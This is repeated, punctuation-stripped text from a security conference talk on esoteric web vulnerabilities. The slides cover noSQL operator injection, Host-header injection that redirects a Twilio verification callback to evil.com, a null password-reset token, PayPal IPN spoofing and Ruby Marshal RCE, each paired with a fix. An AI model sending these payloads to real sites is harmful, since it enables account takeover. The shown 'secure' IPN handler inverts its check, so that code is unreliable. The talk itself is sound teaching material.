MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 7: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

noSQL ODM complex queries

Developers can write ldquocomplexrdquo ODM queries using Ruby Hashes as parameters

user = Userswhere(user_id params[user_id]country $ne Argentina)first

users = Userswhere(user_id $in [123 456 789])

Decode to Hash leads to noSQL injection

Itrsquos possible to bypass the token validation

post registrationcomplete doregistration = Registrationwhere(

user_id params[user_id]confirmation_token params[token]

)first

POST registrationcomplete HTTP11Host vulnerablecomContent-Type applicationjson

token $ne nomatch user_id 3578

ldquoUser controlled inputrdquoto_s

Fixing this vulnerability is quick and easy

Most developers will forget to add the to_s and itrsquos easy to miss in a source code review Recommend Sinatra param or similar

get registrationcomplete doregistration = Registrationwhere(

user_id params[user_id]to_sconfirmation_token params[token]to_s

)first

Call me to verify my identity 1

The application requires users to provide a cellphone to verify their identity A phone call is initiated by the application using a service like Twilio the call audio contains a verification code which needs to be input into the application to verify phone ownership

HTTP requestVerify my phone +1 (541) 754-3010

Call me to verify my identity 2

Call +1 (541) 754-3010Send code 357896 in audio

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

HTTP requesthttpsvulnerablecomaudioltuuid-4gt

Call me to verify my identity 3

HTTP requestCode is 357896

HTTP responseWelcome admin

Bypass phone verification

Hacker wants to bypass phone verification ideas

Hack adminrsquos smartphone Hack vulnerablecom Create a raw cellphone tower and sniff adminrsquos phone call Hack Twilio

Hacking vulnerablecom seems to be the easiest path to follow Buthellip what do we need

UUID4

Version 4 UUIDs use a scheme relying only on random numbers thus the audio URLs canrsquot be brute forced

httpsvulnerablecomaudiof47ac10b-58cc-4372-a567-0e02b2c3d479

Zoom into HTTP request to Twilio

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

POST callnew HTTP11Host apitwiliocomContent-Type applicationjsonX-Authentication-Api-Key 2bc67a5

phone_number +1 (541) 754-3010audio_callback httpsvulnerablecomf47ac10b-5

Insecure Twilio API call

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

import requests

def start_call(phone callback_url)requestspost(httpsapitwiliocomcall

data=phone_number phoneaudio_callback callback_url)

hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)

Change Host header to exploit

HTTP requestVerify my phone +1 (541) 754-3010

POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson

phone_number +1 (541) 754-3010

POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson

phone_number +1 (541) 754-3010

Exploit results in modified callback_url

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsevilcomaudioltuuid-4gt

HTTP requesthttpsevilcomaudioltuuid-4gt

HTTP requesthttpsvulnerablecomaudioltuuid-4gt

MUST-HAVE Strict validation for Host header

Make sure that your nginx apache and web frameworks validate the host header before any further code is run

Django has strict host header validation built in using ALLOWED_HOSTS configuration setting

Password reset

Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token

Usually password resets are implemented as follows

User starts a new password reset flow

An email is sent by the application containing a randomly generated token

The token is used to prove that the user has access to the email address and the password is reset

Implementation details

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token string default nilend

end

post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)

post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

Token defaults to NULL in the database

POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson

token null new_password l3tm31n

Each time a new user is created his pwd_reset_token field is set to NULL in the database

When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token

What if

Safe defaults and strict type validation

post complete-password-reset douser = Userswhere(pwd_reset_token

params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token stringdefault generate_random_token()

endend

Paypalrsquos Instant Payment Notification

I love payment gateways See my previous talk on this subject

Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed

The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler

Zoom into Paypalrsquos IPN HTTP request

POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded

mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000

Zoom into Paypalrsquos IPN HTTP request

There are a few important parameters that we need to understand

mc_gross=1995 is the amount paid by the user

custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site

receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address

payment_status=Completed is the payment status

Why does the merchant verify the IPN data

Insecure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate

def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Insecure IPN handlers - No receiver email check

Insecure IPN handlers - No receiver email check

Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account

The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction

Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production

Secure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 8: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

Decode to Hash leads to noSQL injection

Itrsquos possible to bypass the token validation

post registrationcomplete doregistration = Registrationwhere(

user_id params[user_id]confirmation_token params[token]

)first

POST registrationcomplete HTTP11Host vulnerablecomContent-Type applicationjson

token $ne nomatch user_id 3578

ldquoUser controlled inputrdquoto_s

Fixing this vulnerability is quick and easy

Most developers will forget to add the to_s and itrsquos easy to miss in a source code review Recommend Sinatra param or similar

get registrationcomplete doregistration = Registrationwhere(

user_id params[user_id]to_sconfirmation_token params[token]to_s

)first

Call me to verify my identity 1

The application requires users to provide a cellphone to verify their identity A phone call is initiated by the application using a service like Twilio the call audio contains a verification code which needs to be input into the application to verify phone ownership

HTTP requestVerify my phone +1 (541) 754-3010

Call me to verify my identity 2

Call +1 (541) 754-3010Send code 357896 in audio

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

HTTP requesthttpsvulnerablecomaudioltuuid-4gt

Call me to verify my identity 3

HTTP requestCode is 357896

HTTP responseWelcome admin

Bypass phone verification

Hacker wants to bypass phone verification ideas

Hack adminrsquos smartphone Hack vulnerablecom Create a raw cellphone tower and sniff adminrsquos phone call Hack Twilio

Hacking vulnerablecom seems to be the easiest path to follow Buthellip what do we need

UUID4

Version 4 UUIDs use a scheme relying only on random numbers thus the audio URLs canrsquot be brute forced

httpsvulnerablecomaudiof47ac10b-58cc-4372-a567-0e02b2c3d479

Zoom into HTTP request to Twilio

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

POST callnew HTTP11Host apitwiliocomContent-Type applicationjsonX-Authentication-Api-Key 2bc67a5

phone_number +1 (541) 754-3010audio_callback httpsvulnerablecomf47ac10b-5

Insecure Twilio API call

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

import requests

def start_call(phone callback_url)requestspost(httpsapitwiliocomcall

data=phone_number phoneaudio_callback callback_url)

hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)

Change Host header to exploit

HTTP requestVerify my phone +1 (541) 754-3010

POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson

phone_number +1 (541) 754-3010

POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson

phone_number +1 (541) 754-3010

Exploit results in modified callback_url

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsevilcomaudioltuuid-4gt

HTTP requesthttpsevilcomaudioltuuid-4gt

HTTP requesthttpsvulnerablecomaudioltuuid-4gt

MUST-HAVE Strict validation for Host header

Make sure that your nginx apache and web frameworks validate the host header before any further code is run

Django has strict host header validation built in using ALLOWED_HOSTS configuration setting

Password reset

Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token

Usually password resets are implemented as follows

User starts a new password reset flow

An email is sent by the application containing a randomly generated token

The token is used to prove that the user has access to the email address and the password is reset

Implementation details

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token string default nilend

end

post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)

post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

Token defaults to NULL in the database

POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson

token null new_password l3tm31n

Each time a new user is created his pwd_reset_token field is set to NULL in the database

When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token

What if

Safe defaults and strict type validation

post complete-password-reset douser = Userswhere(pwd_reset_token

params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token stringdefault generate_random_token()

endend

Paypalrsquos Instant Payment Notification

I love payment gateways See my previous talk on this subject

Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed

The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler

Zoom into Paypalrsquos IPN HTTP request

POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded

mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000

Zoom into Paypalrsquos IPN HTTP request

There are a few important parameters that we need to understand

mc_gross=1995 is the amount paid by the user

custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site

receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address

payment_status=Completed is the payment status

Why does the merchant verify the IPN data

Insecure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate

def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Insecure IPN handlers - No receiver email check

Insecure IPN handlers - No receiver email check

Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account

The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction

Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production

Secure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 9: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

ldquoUser controlled inputrdquoto_s

Fixing this vulnerability is quick and easy

Most developers will forget to add the to_s and itrsquos easy to miss in a source code review Recommend Sinatra param or similar

get registrationcomplete doregistration = Registrationwhere(

user_id params[user_id]to_sconfirmation_token params[token]to_s

)first

Call me to verify my identity 1

The application requires users to provide a cellphone to verify their identity A phone call is initiated by the application using a service like Twilio the call audio contains a verification code which needs to be input into the application to verify phone ownership

HTTP requestVerify my phone +1 (541) 754-3010

Call me to verify my identity 2

Call +1 (541) 754-3010Send code 357896 in audio

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

HTTP requesthttpsvulnerablecomaudioltuuid-4gt

Call me to verify my identity 3

HTTP requestCode is 357896

HTTP responseWelcome admin

Bypass phone verification

Hacker wants to bypass phone verification ideas

Hack adminrsquos smartphone Hack vulnerablecom Create a raw cellphone tower and sniff adminrsquos phone call Hack Twilio

Hacking vulnerablecom seems to be the easiest path to follow Buthellip what do we need

UUID4

Version 4 UUIDs use a scheme relying only on random numbers thus the audio URLs canrsquot be brute forced

httpsvulnerablecomaudiof47ac10b-58cc-4372-a567-0e02b2c3d479

Zoom into HTTP request to Twilio

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

POST callnew HTTP11Host apitwiliocomContent-Type applicationjsonX-Authentication-Api-Key 2bc67a5

phone_number +1 (541) 754-3010audio_callback httpsvulnerablecomf47ac10b-5

Insecure Twilio API call

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

import requests

def start_call(phone callback_url)requestspost(httpsapitwiliocomcall

data=phone_number phoneaudio_callback callback_url)

hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)

Change Host header to exploit

HTTP requestVerify my phone +1 (541) 754-3010

POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson

phone_number +1 (541) 754-3010

POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson

phone_number +1 (541) 754-3010

Exploit results in modified callback_url

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsevilcomaudioltuuid-4gt

HTTP requesthttpsevilcomaudioltuuid-4gt

HTTP requesthttpsvulnerablecomaudioltuuid-4gt

MUST-HAVE Strict validation for Host header

Make sure that your nginx apache and web frameworks validate the host header before any further code is run

Django has strict host header validation built in using ALLOWED_HOSTS configuration setting

Password reset

Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token

Usually password resets are implemented as follows

User starts a new password reset flow

An email is sent by the application containing a randomly generated token

The token is used to prove that the user has access to the email address and the password is reset

Implementation details

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token string default nilend

end

post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)

post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

Token defaults to NULL in the database

POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson

token null new_password l3tm31n

Each time a new user is created his pwd_reset_token field is set to NULL in the database

When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token

What if

Safe defaults and strict type validation

post complete-password-reset douser = Userswhere(pwd_reset_token

params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token stringdefault generate_random_token()

endend

Paypalrsquos Instant Payment Notification

I love payment gateways See my previous talk on this subject

Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed

The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler

Zoom into Paypalrsquos IPN HTTP request

POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded

mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000

Zoom into Paypalrsquos IPN HTTP request

There are a few important parameters that we need to understand

mc_gross=1995 is the amount paid by the user

custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site

receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address

payment_status=Completed is the payment status

Why does the merchant verify the IPN data

Insecure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate

def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Insecure IPN handlers - No receiver email check

Insecure IPN handlers - No receiver email check

Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account

The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction

Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production

Secure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 10: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

Call me to verify my identity 1

The application requires users to provide a cellphone to verify their identity A phone call is initiated by the application using a service like Twilio the call audio contains a verification code which needs to be input into the application to verify phone ownership

HTTP requestVerify my phone +1 (541) 754-3010

Call me to verify my identity 2

Call +1 (541) 754-3010Send code 357896 in audio

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt

HTTP requesthttpsvulnerablecomaudioltuuid-4gt

Call me to verify my identity 3

HTTP requestCode is 357896

HTTP responseWelcome admin

Bypass phone verification

